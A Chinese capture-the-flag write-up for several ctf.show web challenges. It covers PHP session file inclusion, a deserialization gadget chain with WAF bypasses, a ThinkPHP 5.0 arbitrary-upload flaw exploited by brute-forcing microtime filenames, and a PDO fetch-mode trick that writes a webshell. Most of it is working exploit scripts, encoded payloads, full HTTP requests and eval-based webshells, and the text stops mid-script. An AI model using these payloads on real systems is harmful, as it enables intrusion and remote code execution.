easy_include
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}
包含session
import requests
url = "http://efcf9ddd-fc12-48dd-bb9f-b3a1ee1604aa.challenge.ctf.show/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1':'localhost/tmp/sess_fushuling',
'2':'system("cat /f*");'
}
file = {
'file': 'fushuling'
}
cookies = {
'PHPSESSID': 'fushuling'
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
easy_web
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}
拆开看,把waf啥的都先不看,关键是触发到Chu0_write的toString()
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
class ctf{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
}
}
unserialize($_GET['show_show.show']);
链子倒是不难
ctf::__destruct
↓↓↓
show::__call()
↓↓↓
Chu0_write
::tostring
给ctf->$h1赋为show,这样触发call,然后$b=new Chu0_write(); $c=array(”,”,$b);$a->h2=array($c);实现对Chu0_write::tostring的触发
<?php
class ctf{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
}
}
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
echo serialize($a);
#O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}
?>
传的时候用show[show.show,php判断的时候会把第一个[转为_然后后面的就不修改了。
然后来看waf:
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
waf1($_REQUEST);
这个简单,后面判断是waf1($_REQUEST);,同时传post和get其实只会判断get,所以post随便传一个1过判断就行了。
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
waf2($_SERVER['QUERY_STRING']);
判断传参里的show,编一下码就行了show[show.show编码成%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}
这个我博客讲过,用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头,顺便还能绕一下ctf
这个类里的wakeup
<?php
class ctf{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
}
}
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
echo serialize($oa);
?>
#C:11:"ArrayObject":143:{x:i:0;a:1:{s:4:"evil";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}};m:a:0:{}}}
测试代码:
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
// highlight_file(__FILE__);
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
class ctf{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public function __toString(){
echo "__toString"."<br>";
}
}
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
传的时候记得编码
GET:
%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%34%33%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%6
8%75%30%5f%77%72%69%74%65%22%3a%30%3a%7b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d
POST:
show%5Bshow.show=1
看最后的一块,那个tostring了:
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
对$_get[‘cmd’]过滤了f、l、a、g、x、*、?、[、]、空格、单引号、尖括号以及百分号,我们可以用chr(ascii码)拼接出来了,比如:
show_source(chr(47).chr(102).chr(108).chr(97).chr(103))
因为过滤show了所以后面把show编码成%73%68%6f%77
def convert_to_ascii_special(text):
ascii_special = ''
for char in text:
ascii_code = ord(char)
ascii_special += 'chr({}).'.format(ascii_code)
ascii_special = ascii_special[:-1]
return ascii_special
text="/flag"
print(convert_to_ascii_special(text))
#chr(47).chr(102).chr(108).chr(97).chr(103)
引用绕过if引用赋值:
$chu1=&$chu0;
最后这个有点复杂:
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
简单来说$_GET[‘name’]要出现一次base64这个字符串,但不能出现’ucs-2’、’phar’、’data’、’input’、’zip’、’flag’ 和 ‘%’。最后我们要把$_GET[‘name’]构造成ctfw,$tmp构造成show_source,$tmp = file_get_contents(‘ctfw.txt’),其实也就是写进去的$content,这里可以看到$content被干扰了,$content=’ctfshowshowshowwww’.$_GET[‘chu0’],我们可控的是这个$_GET[‘chu0’]。这里得用base64过滤垃圾字符(看陆队的文章我们其实也可以看到可以用base64构造指定字符)
<?php
#fushuling1234三次base64编码得到V201V2VtRklWbk5oVnpWdVRWUkplazVCUFQwPQ==
$d='lajizifuV201V2VtRklWbk5oVnpWdVRWUkplazVCUFQwPQ==';
echo $b=base64_decode($d);
echo "<br>".$b=base64_decode($b);
echo "<br>".base64_decode($b);#输出fushuling1234,过滤了lajizifu这几个垃圾字符
但这里base64限制了为一次,所以得用其他编码辅助构造
<?php
$b="lajizufu";
$payload=iconv('utf8','utf-16',base64_encode($b));
echo quoted_printable_encode($payload);#输出为空,成功过滤垃圾字符
?>
?name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
然后对于传进去的$content,我们把它最后构造成assert,最后结合成eval(assert(show_source(chr(47).chr(102).chr(108).chr(97).chr(103))))打印出来flag
<?php
$b ='assert';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;#输出是=FF=FEY=00X=00N=00z=00Z=00X=00J=000=00但只保留Y=00X=00N=00z=00Z=00X=00J=000=00
最后的payload
<?php
class ctf{
public $h1;
public $h2;
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
}}
$a=new ctf();
$b=new Chu0_write();
$b->chu1=&$b->chu0;
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
echo serialize($oa);
?>
#C:11:"ArrayObject":198:{x:i:0;a:1:{s:4:"evil";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";s:9:"xiuxiuxiu";s:4:"chu1";R:11;s:3:"cmd";N;}}}}};m:a:0:{}}
POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%39%38%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%73%3a%39%3a%22%78%69%75%78%69%75%78%69%75%22%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00&cmd=%73%68%6f%77_source(chr(47).chr(102).chr(108).chr(97).chr(103)); HTTP/1.1
Host: dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show
Connection: close
Referer: http://dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show/
Upgrade-Insecure-Requests: 1
%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=1&name=1&chu0=1&cmd=1
孤注一掷
访问www.zip拿到源码,一眼thinkphp,审MVC框架直接看/index/controller下的方法,看到一个上传功能
<?php
namespace app\index\controller;
use think\Controller;
use think\Request;
class Upload extends Controller
{
public function image(Request $request)
{
$file = $request->file('file');
if( ! $file ) {
$this->error("error.");
}
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
$filename = '/uploads/' . str_replace("\\", "/", $info->getSaveName());
$this->success('', null, $filename);
}
}
本地搭了个一样的环境,使用的thinkphp版本是ThinkPHP5.0
,命令其实比较简单,就是
composer create-project topthink/think=5.0.* tp5 --prefer-dist
然后还要在extend\fast\
目录下放一个Form.php,去这里复制一份https://gitee.com/karson/fastadmin/blob/master/extend/fast/Form.php
上传文件的路径是ROOT_PATH . 'public' . DS . 'uploads'
,filename保存为$info->getSaveName(),跟这个getSaveName()
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
文件名就是date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION);
最后的保存路径大概就是url/20240121/md5(精确到小数点后四位的当前时间),文件后缀是pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION),也就是原上传文件的后缀,比如上传个1.php最后保存的文件就是md5(精确到小数点后四位的当前时间).php
所以关键就是上传文件,然后获取上传文件的时间,微秒我们不知道,但也就是9999位,直接爆破即可
import requests
from datetime import datetime
import subprocess
import pytz
import hashlib
# Author:ctfshow-h1xa
url ="http://33c133ae-9f99-4711-afbc-d5e7a3b7ef3e.challenge.ctf.show/"
scriptDate = ""
prefix = ""
session = requests.Session()
headers = {'User-Agent': 'Android'}
def init():
route="?url="+url
session.get(url=url+route,headers=headers)
def getPrefix():
route="index/upload/image"
file = {"file":("1.php",b"<?php echo 'ctfshow';eval($_POST[1]);?>")}
response = session.post(url=url+route,files=file,headers=headers)
response_date = response.headers['date']
print("正在获取服务器时间:")
print(response_date)
date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
print("正在转换服务器时间:")
print(date_time_obj_gmt8)
year = date_time_obj_gmt8.year
month = date_time_obj_gmt8.month
day = date_time_obj_gmt8.day
hour = date_time_obj_gmt8.hour
minute = date_time_obj_gmt8.minute
second = date_time_obj_gmt8.second
global scriptDate,prefix
scriptDate = str(year)+str(month).zfill(2)+(str("0"+str(day)) if day<10 else str(day))
print(scriptDate)
seconds = int(date_time_obj_gmt8.timestamp())
print("服务器时间:")
print(seconds)
code = f'''php -r "date_default_timezone_set('Asia/Shanghai');echo mktime({hour},{minute},{second},{month},{day},{year});"'''
print("脚本时间:")
result = subprocess.run(code,shell=True, capture_output=True, text=True)
script_time=int(result.stdout)
print(script_time)
if seconds == script_time:
print("时间碰撞成功,开始爆破毫秒")
prefix = seconds
else:
print("错误,服务器时间和脚本时间不一致")
exit()
def remove_trailing_zero(num):
if num % 1 == 0:
return int(num)
else:
str_num = str(num)
if str_num[-1] == '0':
return str_num[:-1]
else:
return num
def checkUrl():
h = open("url.txt","a")
global scriptDate
for i in range(0,10000):
target = str(prefix)+"."+str(i).zfill(4)
target=str(remove_trailing_zero(float(target)))
# target=remove_trailing_zero(target)
print(target)
md5 =string_to_md5(target)
# route = "/uploads/"+target+scriptDate+"/"+md5+".php"
route = "/uploads/"+scriptDate+"/"+md5+".php"
print("正在爆破"+url+route)
response = session.get(url=url+route,headers=headers)
if response.status_code == 200:
print("成功getshell,地址为 "+url+route)
exit()
h.write(route+"\n")
h.close()
print("爆破结束")
return
def string_to_md5(string):
md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
return md5_val
if __name__ == "__main__":
init()
getPrefix()
checkUrl()
这个题最后解这么少估计是因为题目描述太玄乎了,说什么thinkphp底层漏洞,thinkphp确实有底层漏洞,但不是这个,这个其实就是使用了tp默认的上传方法,底层漏洞是tp默认的img上传方法对后缀没有过滤:https://github.com/top-think/framework/issues/2772,也就是说类似于request()->file(‘image’)的语句其实还是可以上传任意文件,主要逻辑错误在move这里:
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if (!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
然后进行check,注意前面直接调用了$this->check(),也就是没有传参$rule是空的,有用的检验其实只有checkImg():
public function check($rule = [])
{
$rule = $rule ?: $this->validate;
/* 检查文件大小 */
if (isset($rule['size']) && !$this->checkSize($rule['size'])) {
$this->error = 'filesize not match';
return false;
}
/* 检查文件 Mime 类型 */
if (isset($rule['type']) && !$this->checkMime($rule['type'])) {
$this->error = 'mimetype to upload is not allowed';
return false;
}
/* 检查文件后缀 */
if (isset($rule['ext']) && !$this->checkExt($rule['ext'])) {
$this->error = 'extensions to upload is not allowed';
return false;
}
/* 检查图像文件 */
if (!$this->checkImg()) {
$this->error = 'illegal image files';
return false;
}
return true;
}
最后checkImg:
public function checkImg()
{
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));
// 如果上传的不是图片,或者是图片而且后缀确实符合图片类型则返回 true
return !in_array($extension, ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf']) || in_array($this->getImageType($this->filename), [1, 2, 3, 4, 6, 13]);
}
可以看出来这里逻辑非常奇葩,check函数内对checkImg的调用是
if (!$this->checkImg()) {
$this->error = 'illegal image files';
return false;
}
也就是说我们想要合法得$this->checkImg()为true,checkImg()的逻辑官方注释已经说了:如果上传的不是图片,或者是图片而且后缀确实符合图片类型则返回 true,也就是说如果我们上传个1.php,因为后缀不是图片所以直接判断合法了,因此request()->file(‘image’)这样的语句是可以直接上传php文件的,最后保存的路径是uploads .DS . date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION),比如当前时间是2024-01-21的1705846016.4209,最后保存的文件就是url/uploads/20240121/6945de42b5e164a2fba3ec472be16cdd.php,注意最后的时间戳是去0的,比如1705846016.4,md5(1705846016.4)和md5(1705846016.4000)的值是不一样的
easy_login
预期解
关键getshell逻辑在common.php:
class userLogger{
public $username;
private $password;
private $filename;
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
public function setLogFileName($filename){
$this->filename = $filename;
}
public function __wakeup(){
$this->filename = "log.txt";
}
public function user_register($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_login($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_logout(){
$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
}
漏洞点就在于这个file_put_contents($this->filename,$data,FILE_APPEND),如果我们可以控制$this->filename和$data,向一个php文件写入一句话木马就可以getshell了,我们看到userLogger::__construct:
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
这里文件名被保存为log.txt_$this->username-$this->password,$this->password是我们可控的,如果我们赋值为为<?php eval($_POST[1]);?>.php,那么我们就是向log.txt_$this->username-<?php eval($_POST[1]);?>.php
这个php文件写入最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username <?php=eval($_POST[1]);?>.php \n
,很明显直接getshell了
但这里我们没有unserialize函数,只能考虑session反序列化:
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
session_decode($_GET[‘token’])向session存对象,$_SESSION[‘user’]取对象,这里需要构造token=user|序列化字符串
,对getLoginName的调用在main.php:
<?php
$name = $app->getLoginName('user');
if($name){
echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
include 'login.html';
}
想调用main.php又得看到index.php:
<?php
error_reporting(0);
session_start();
require_once 'common.php';
$action = $_GET['action'];
$app = new application();
if(isset($action)){
switch ($action) {
case 'do_login':
$ret = $app->login($_POST['username'],$_POST['password']);
if($ret){
$app->cookie->setcookie("user",$_POST['username']);
$app->dispatcher->redirect('main');
}else{
echo "登录失败";
}
break;
case 'logout':
$app->logout();
$app->dispatcher->redirect('main');
break;
case 'do_register':
$ret = $app->register($_POST['username'],$_POST['password']);
if($ret){
$app->dispatcher->sendMessage("注册成功,请登陆");
}else{
echo "注册失败";
}
break;
default:
include './templates/main.php';
break;
}
}else{
$app->dispatcher->redirect('main');
}
最前面session_start()启动了session,证明确实是session反序列化。三个switch选项这里只要前三个都不满足就是最后的default会包含main.php,现在逻辑清楚了,action分支进入default包含main.php,然后main.php触发$app->getLoginName(‘user’),在这里进行session反序列化,回看这里:
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
$data === NULL && isset($_GET[‘token’])的情况下进入分支,$_GET[‘token’]是我们直接传的,而$data来自于$this->cookie->getCookie($name):
class cookie_helper{
private $secret = "*************"; //敏感信息打码
public function getCookie($name){
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name,$value){
$data = $value."|".md5($this->secret.$value);
setcookie($name,$data);
}
private function verify($cookie){
$data = explode('|',$cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
}
}
想要控制$data为null看到private function verify($cookie),只要count($data) != 2即可,首先$data = explode(‘|’,$cookie),也就是$data的值是$cookie被|分割的字符串数,再看cookie:$data = $value.”|”.md5($this->secret.$value),也就是之前已经有一个|了,我们给用户名里再多一个|比如fushu|ling最后俩|就可以把字符串分割成三个返回null了,当然事实上不用构造这种用户名也可以实现,因为return md5($this->secret.$data[0])=== $data[1]?$data[0]:null这里,只要secret.$data[0])!= $data[1]也可以返回null,比如用户名userLogger会生成cookie:user=userLogger|3628df06e1b4c52d9d2e0dfd251ba983,secret.$data[0]=userLogger,secret.$data[1]=3628df06e1b4c52d9d2e0dfd251ba983,两者显然是不相等的,所以这里其实是绝对成立的。
接下来其实是最关键的一部分,看到mysql_helper:
class mysql_helper{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct(){
$this->init();
}
public function __wakeup(){
$this->init();
}
private function init(){
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****',//敏感信息打码
'password' => '****',//敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo(){
try{
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
}catch(PDOException $e){
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
这里有个我们可控的$option,其实是可以指定pdo的链接过程,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152
,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。属性初始化结束后,最后还会调用一次 __construct方法,这也是为什么官方解里注册的用户名必须是userLogger,因为这里其实是新建了一个userLogger类,然后调用其中的__construct(),也就是最开始提到的能RCE的部分:
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
要打的话分为两步,首先注册一个用户为userLogger
,密码为<?=eval($_POST[1]);?>.php
,即:
data={
"username":"userLogger",
"password":"<?=eval($_POST[1]);?>.php"
}
response = requests.post(url=url+"index.php?action=do_register",data=data)
然后进行session反序列化,触发userLogger::__construct()
<?php
class cookie_helper{
private $secret;
}
class mysql_helper{
private $db;
public $option = array(
PDO::ATTR_DEFAULT_FETCH_MODE => 262152
);
public function __construct(){
$this->init();
}
private function init(){
$this->db = array(
);
}
}
class application{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug=true;
public function __construct(){
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("../log.txt");
}
}
class userLogger{
public $username;
private $password;
private $filename;
public function setLogFileName($filename){
$this->filename = $filename;
}
}
class dispatcher{
}
$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));
#O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3BN%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A0%3A%7B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D
脚本:
import requests
import time
url = "http://38578ee2-680e-4236-b362-28fc9eb32421.challenge.ctf.show/"
def step1():
data={
"username":"userLogger",
"password":"<?=eval($_POST[1]);?>.php"
}
response = requests.post(url=url+"index.php?action=do_register",data=data)
time.sleep(1)
if "script" in response.text:
print("第一步执行完毕")
else:
print(response.text)
exit()
def step2():
